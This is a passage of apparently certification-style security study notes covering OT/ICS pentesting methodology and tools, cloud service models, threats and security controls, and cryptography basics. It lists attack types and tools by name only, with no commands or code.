- Zero-Day
- Insider Threat
- MitM (Man-in-the-Middle)

OT Hacking Methodology - You want to avoid actively pentesting production ICS networks as even running nmap scans can take down the network. Ideally, you will perform testing in a development network that closely mimics the production ICS network.

Start with Recon

- Discover Scripts tool
- Google Hacking Database
- Maltego
- Shodan

External Testing - Identify and exploit the IT network and use that to gain access to the ICS network. The standard pentesting methodology applies for external testing.

- Footprinting
- Host Discovery/Port Scanning/Service Enumeration
- Vulnerability Mapping - This is where you match the discovered services with known vulnerabilities.
- Exploitation - Exploiting the known vulnerabilities.
- Zero-Day - Discover and exploit Zero-Day vulnerabilities. Note: This depends on the scope and time of the engagement.

Pentesting Tools for ICS Environments

- SamuraiSTFU - This is a pentesting Linux distro like Kali, but it’s specifically designed for ICS pentesting.
- Kali Linux
- Metasploit

- CORE Impact
- Immunity CANVAS
- Exploit Pack
- Peach - fuzzing tool
- Shodan
- Discover Scripts
- Maltego
- Google Hacking Database
- Netcat
- Nping
- Scapy
- Nmap
- Hping3
- Nessus
- Nexpose

OT Attack Countermeasures

OT Security Best Practices

1) Increase network visibility- Identify Assets, Classify, and Prioritize Value of your assets
2) Segment networks- Ensure each zone is accessible only by authorized devices, applications, and users. (Segmentation is a fundamental best practice for securing OT, as described in ISA/IEC-62443)
3) Analyze traffic for threats - use a NGFW and SIEM
4) Enforce identity and access management - RBAC, MFA, SSO
5) Secure both wired and wireless access - use a NGFW for centralized security management

Introduction to Cloud Computing and Attacks

Types of Cloud Environments

Private Cloud
A private cloud can either be set up by the organization itself or by a third-party service provider. A private cloud is a server, data center, or distributed network that is wholly dedicated to one organization.

Public Cloud
The public cloud works on shared infrastructure. The users usually have a subscription to pay-per-use fee models to access information in the public cloud. You can scale your infrastructure as and when you need to. Individual servers may be shared by different companies (multitenancy).

Hybrid Cloud
A hybrid cloud uses two different clouds - public and private. The database servers are in your private cloud, whereas the Web servers are hosted in the third-party cloud shared environment. The database servers will typically store the sensitive information and, therefore, need to be hosted on the private cloud. The front-end of the database servers, which is the Web site or Web application, is hosted on the public cloud for scalability purposes.

Community Cloud
In a community cloud, users share the same set of data and resources. It is accessed by multiple parties, such as universities and colleges that have the same goal.

Cloud Computing Services

There are different types of Cloud Computing Services available. When a user is accessing something in a cloud environment, they are accessing a type of cloud computing service.

The types of cloud computing services are:

Software as a Service (SaaS)
In Software as a Service, an application is licensed to users after they purchase a subscription. The license holder must then renew their subscription to continue to use the full features of the application. Typically, users will need a Web browser to access the application. For example, a GoToMeeting, which is hosted online.

Examples include:

Dropbox
Microsoft OneDrive
Microsoft Office 365
Cisco WebEx
Citrix GoToMeeting
Google Apps

Infrastructure as a Service (IaaS)

Infrastructure as a Service is an online service that provides the virtualization of underlying network infrastructures such as physical computing resources, location, data partitioning, scaling, security, and backups. Virtual machines, software-defined networking, and virtual network devices are all considered parts of the IaaS model.

IaaS provides flexibility in upscaling and downscaling the infrastructure as required. Moreover, it will allow the team to do the following:

Create virtual machines (VMs)
Install operating systems in each VM
Deploy middleware
Create storage buckets

Examples are:

Amazon EC2
Cisco Metapod
Microsoft Azure
Google Compute Engine (GCE)

Platform as a Service (PaaS)
In Platform as a Service, a platform for development is offered to users on a subscription basis. In this model, a set of development tools are provided by the service provider. It reduces the cost of purchasing these tools.

Examples are:

Google App Engine
Microsoft Azure
Intel Mash Maker

Network as a Service (NaaS)
With Network as a Service, the clients have access to the additional network resources, such as switches and routers. The third-party provider owns the resources and provides it to an organization either through a fixed fee or component-wise fee.

Examples are:

Amazon
Rackspace
AT&T
Level 3 Communications

Security as a Service (SECaaS)

Security as a Service offers cloud-based security solutions. When you implement this solution, it removes the burden of having the on-premises hardware.

Examples are:

Cloudbric
CloudFlare
Incapsula

Benefits of Cloud Computing

IT Costs
Reduced IT costs are one of the key benefits of using cloud computing. For example, imagine you have to procure 10 or more servers to upgrade your infrastructure. It takes time to procure the server or any hardware. However, on the cloud, you can do this in a few minutes. You end up saving the huge cost of procuring the servers, reduce the delay drastically, and save on energy costs for the organization. You also save on the physical space needed for hosting the servers and the manpower that is required to manage them. When you need to decommission a server, it is also a quick process to release the server back to the service provider.

Scalability
Cloud computing allows you to scale your IT infrastructure up or down on an on-demand basis. You can provision new servers, add or remove memory, or any other component when required. All of this can happen within a few minutes. For example, if you know that your Web server is going to be overloaded over a certain time period, you can scale up your infrastructure during that time, then scale back down afterward.

Business Continuity
Cloud computing helps you protect your data in all kinds of situations, whether it is a natural disaster or simply a power outage. When you host your data in a cloud application, such as Microsoft OneDrive, your data is available instantly, as long as you have internet access.

In the backend, the data in the cloud is replicated to multiple servers, and depending on your location, you are directed to the servers that are near you. This allows fast access to your data (caching).

For example, imagine that due to a malware attack, you have lost all your data on your laptop. If this data did not exist on the cloud, you would have to restore it from the backup, which could be a difficult or lengthy task. If the data existed on the cloud, such as in the Microsoft OneDrive application, the data could be restored faster.

Loss Prevention

Assume that you have all your data stored on a file server within your office premises. The data from your laptop is regularly backed up to the file server. In a situation where there is a malware attack on the network, the file server and your laptop are affected. You are likely to lose your data.

If this data resides in the cloud environment, then even after losing data on your laptop, your data would be safe in the cloud. The data is safe and can also be accessed from any other system or laptop that has an internet connection.

Collaboration Efficiency
Collaboration is another key advantage of cloud computing. Multiple users can work together on a single document or on a project. The access can be granted at different levels. For example, one user can be given Read access, while the other users can have the Editor access. The access permissions can differ from application to application.

Automatic Updates
When you have applications in the cloud environment, you do not need to worry about the update process. The cloud service provider will update the applications or operating system as and when updates are available. You get the benefit of having the most updated and recent version of the application or operating system. This brings another advantage of freeing up your IT team from rolling out updates for applications and operating systems.

Security
The cloud service provider uses the latest security tools to monitor the data hosted by its clients. When you have in house data, you need to hire skilled security professionals and purchase security hardware and applications. When the data is hosted in the cloud, it is the cloud service provider's responsibility to protect your data.

Mobility
With the increased use of mobile phones, tablets, and laptops, users require 24/7 access to their data. A user can be on the move, in office, or at home when they want to access the data. This access becomes difficult when it is stored in house on the file servers. However, if the data is stored in the cloud, it is easy to access using a mobile phone, tablet, or laptop.

Cloud Threats

Management interface failure
Virtual Machine (VM) level attacks
Compliance issues or risks
Malicious insider
Service failure
Service termination
Loss of encryption keys
Weak authentication

Network failure
Licensing risks
Hardware failure
Privilege escalation
Inadequate infrastructure design
Unknown risk profile
Cloud service provider shutting down
Intentional or accidental data deletion
Multitenancy
Misconfigurations
Access management issues

Types of Cloud Attacks

Social engineering attacks
XSS attacks
Domain Name System (DNS) attacks
SQL injection attacks
Wrapping attacks
Network sniffing
Session riding
Side-Channel Attacks or Cross-guest VM breaches
Cryptanalysis attacks
DoS and DDoS attacks
OpenStack component attacks
Man-in-the-Middle (MITM) attacks
VM level attacks

Most of these attacks are also common to the on-premises IT infrastructure. For example, an XSS attack can be performed on an in house hosted Web application.

Security Considerations in the Cloud

Geo-resilience
When opting for cloud services from a cloud service provider, you need to ensure that it offers enough security services to protect your data. You should also raise questions about the locations of the provider's data centers. You need to be assured that the cloud service provider can provide geo-resiliency in case of any incident, such as a fire or a flood. It is better to opt for a service provider that has a global presence and data replicated to multiple data centers.

Data Isolation
Malware, such as ransomware, is spreading fast. Just like any on-premises server or system, cloud-based systems can also be infected by it. Therefore, you need to ensure that the cloud

service provider follows the practice of data isolation, which is to also keep an offline copy of the data.

Encryption
Without encryption, data at rest and in transit is vulnerable. If no encryption is used, there is a high risk of data loss or exposure of confidential data to an attacker. You need to ensure that when the data moves to or from the cloud or is being moved between two clouds, it is encrypted.

Network Segmentation
Most cloud service providers use multi-tenant environments. When opting for a cloud service, you need to evaluate the type of segmentation that the cloud service provider is using and how your data will be segmented from the other customers who exist in the same multitenant environment.

It is best to use the zone approach that can help you isolate the following:

- Instances
- Containers
- Applications
- Full systems
- Identity and Access Management

To protect your data, you must implement identity and access management policies. Strict access to the data must be implemented through policies that use access control lists. You also need to ensure that the privileges are role-based. When the data is in the cloud, you must enforce role-based access control. This can prevent unwanted access to the data. All access to the data must be monitored and tracked.

Monitoring
After you move the application and its data to the cloud, it will be the users who will be using them. You must ensure that the user actions are being monitored.

Password Usage
You must apply the password policies in the cloud environment. Most of the cloud service providers allow you to configure password policies. You must ensure that the users do not have simple passwords, and passwords must change after a certain duration. You should also implement account lockout policies.

Vulnerability Management
Most cloud service providers perform vulnerability management of their environment. If that is carried out, you should check the report. If you have deployed a custom Web application in the cloud environment, you must ensure that you perform a vulnerability assessment.

Patch Management
Each cloud service provider uses a method to perform patch management. While the cloud service provider will take care of the usual applications and operating system updates, you would need to focus on the custom applications that you have deployed. You need to ensure that all vulnerabilities are patched with the latest updates.

Alerts and Reporting
See what reporting is available through your cloud vendor(s) and use a tool such as SIEM (Security Information and Event Management) to integrate and centralize it with data from in-house and other vendor solutions as much as possible. This will allow you to have a complete picture of what is happening in your environment.

Incident Response Plan
You must ensure that the cloud service provider has an incident response plan to tackle any issue that may occur. The cloud service provider must have the ability to detect and respond to security incidents.

Cloud Security Deployment Fundamentals

Application Layer
At the application layer, you need to deploy the Web Application Firewall (WAF). This will help you filter the traffic to the Web application.

Network Layer
There are various tools that can be deployed to protect the information at the network layer. Some of the key tools are:

- Next-Generation IDS/IPS devices
- Next-Generation Firewalls
- DNSSec tools
- Anti-DDoS tools
- OAuth configuration
- Deep Packet Inspection (DPI) tools
- The Root of Trust (RoT)

RoT uses a trusted computing module that is trusted by the operating system. With the help of the trusted computing module, RoT is able to detect any unauthorized changes to the operating system or the programs that are installed. It is also capable of detecting the rootkits and can perform on the fly drive encryption.

Computer and Storage Security
Computer and storage can be secured using various methods, such as:

- Host-based Intrusion Detection (HIDS)

- Host-based Intrusion Prevention Systems (HIPS)
- Integrity checks
- File system monitoring
- Log file analysis
- Kernel level detection
- Encryption
- Physical Security

Physical security is a critical part of securing the information. No matter what you use to secure your information, if the device holding the information is not secure and an attacker gets access, other security methods would fail.

Introduction to Cryptography and Encryption

Key Terms

Plain text: Message to be encrypted

Ciphertext: Encrypted message

Encryption: Process of converting plain text into cipher text.

Decryption: Process of converting ciphertext into plain text.

Algorithm: The method used to encrypt/decrypt the plain text.

Key: The data used for encrypting/decrypting.

Symmetric cryptography:

Here one single key is used for encryption and the same key is used for decryption. DES and AES are examples of symmetric key cryptography.

Asymmetric cryptography

Here two keys are used, Public key is used for encryption and Private key is used for decryption (i.e.- RSA)

Block Cipher:

The input plain text is broken into fixed size blocks and they are encrypted /decrypted as a block; e.g. DES, AES.

Stream cipher:

The incoming data is encrypted or decrypted byte by byte; e.g. RC4.

Digital Signatures:

Digital signatures are used to identify the genuinity of the source; the sender signs with his private key, and at the receiver's end it can be decrypted only with the public key of the sender. This enables the receiver to know who has sent the message.

Hash Algorithms:

Hash algorithms are used to maintain the integrity of the data by finding a definite number for the file and verifying it at the receiver's end.

At the sender's side, the hash algorithm generates a fixed size number for any-sized file. This number or hash value is sent along with the cipher text to the receiver. At the receiver's end, the cipher text is first decrypted, and then using a hash algorithm a hash value is generated. If the hash value matches with the hash value that came with the cipher text, then the message was not corrupted. If it is different, then we can understand that the message has been intercepted and modified.

There are various hash algorithms

(i.e.- SHA1, SHA 256, SHA 512, MD5, etc)

PKI: Public Key Infrastructure

PKI is a set of roles, policies and procedures needed to create, manage, distribute, use, store, and revoke digital certificates, and manage public-key encryption. Here the binding of the public key to respective identities, like people or organisation is done. In public environment, where third-party verifications are required, this PKI is used. There are three parties involved here-

- Registration authority
- Validation Authority
- Certification authority

When a user needs a public key certificate they first go to the certification authority, which then redirects him to the registration authority. RA collects all information like name, personal identity information, public key, etc., and creates a certificate and passes it on to the certification authority. The certifying authority gets one copy of the certificate and signs it using the private key, authorising the public key of the user. One copy is stored in the database of validation authority; at any future point in time, the user's public key can be verified with validation authority.

Every certificate issued by CA has an expiry date, the private key of CA and the public key of the user. Upon expiry, or if stolen, the certificate can be renewed or re-issued.

SSL: Secure Socket Layer/TLS (Transport Layer Security)

Secure Socket Layer is a public key cryptosystem, which is used over application layer to provide encryption to the data passing over HTTP. SSL breaks the incoming data into fixed size

blocks, fragments them, compresses them, encrypts and adds a MAC header and passes it to the receiving end. It has four protocols.

- Handshake protocol- Used for establishing a connection.
- Cipher-spec protocol- To notify the handshake is over.
- Record–protocol– Carries actual data.
- Alert protocol– Used for any notification.

Cryptography attacks:

- Chosen plaintext attack
- Chosen ciphertext attack
- Known plaintext attack
- Replay Attack (MitM)

PGP (Pretty Good Privacy)

- PGP (Pretty Good Privacy) is a protocol used to encrypt and decrypt data that provides authentication and cryptographic privacy.
- PGP is often used for data compression, digital signing, encryption and decryption of messages, emails, files, directories, and to enhance privacy of email communications.
- PGP combines the best features of both conventional and public key cryptography and is therefore known as hybrid cryptosystem.

Cryptography Attack Countermeasure

Strong Encryption Algorithm (at least 256-bit) - can still be cracked by brute force if given enough time, but may take years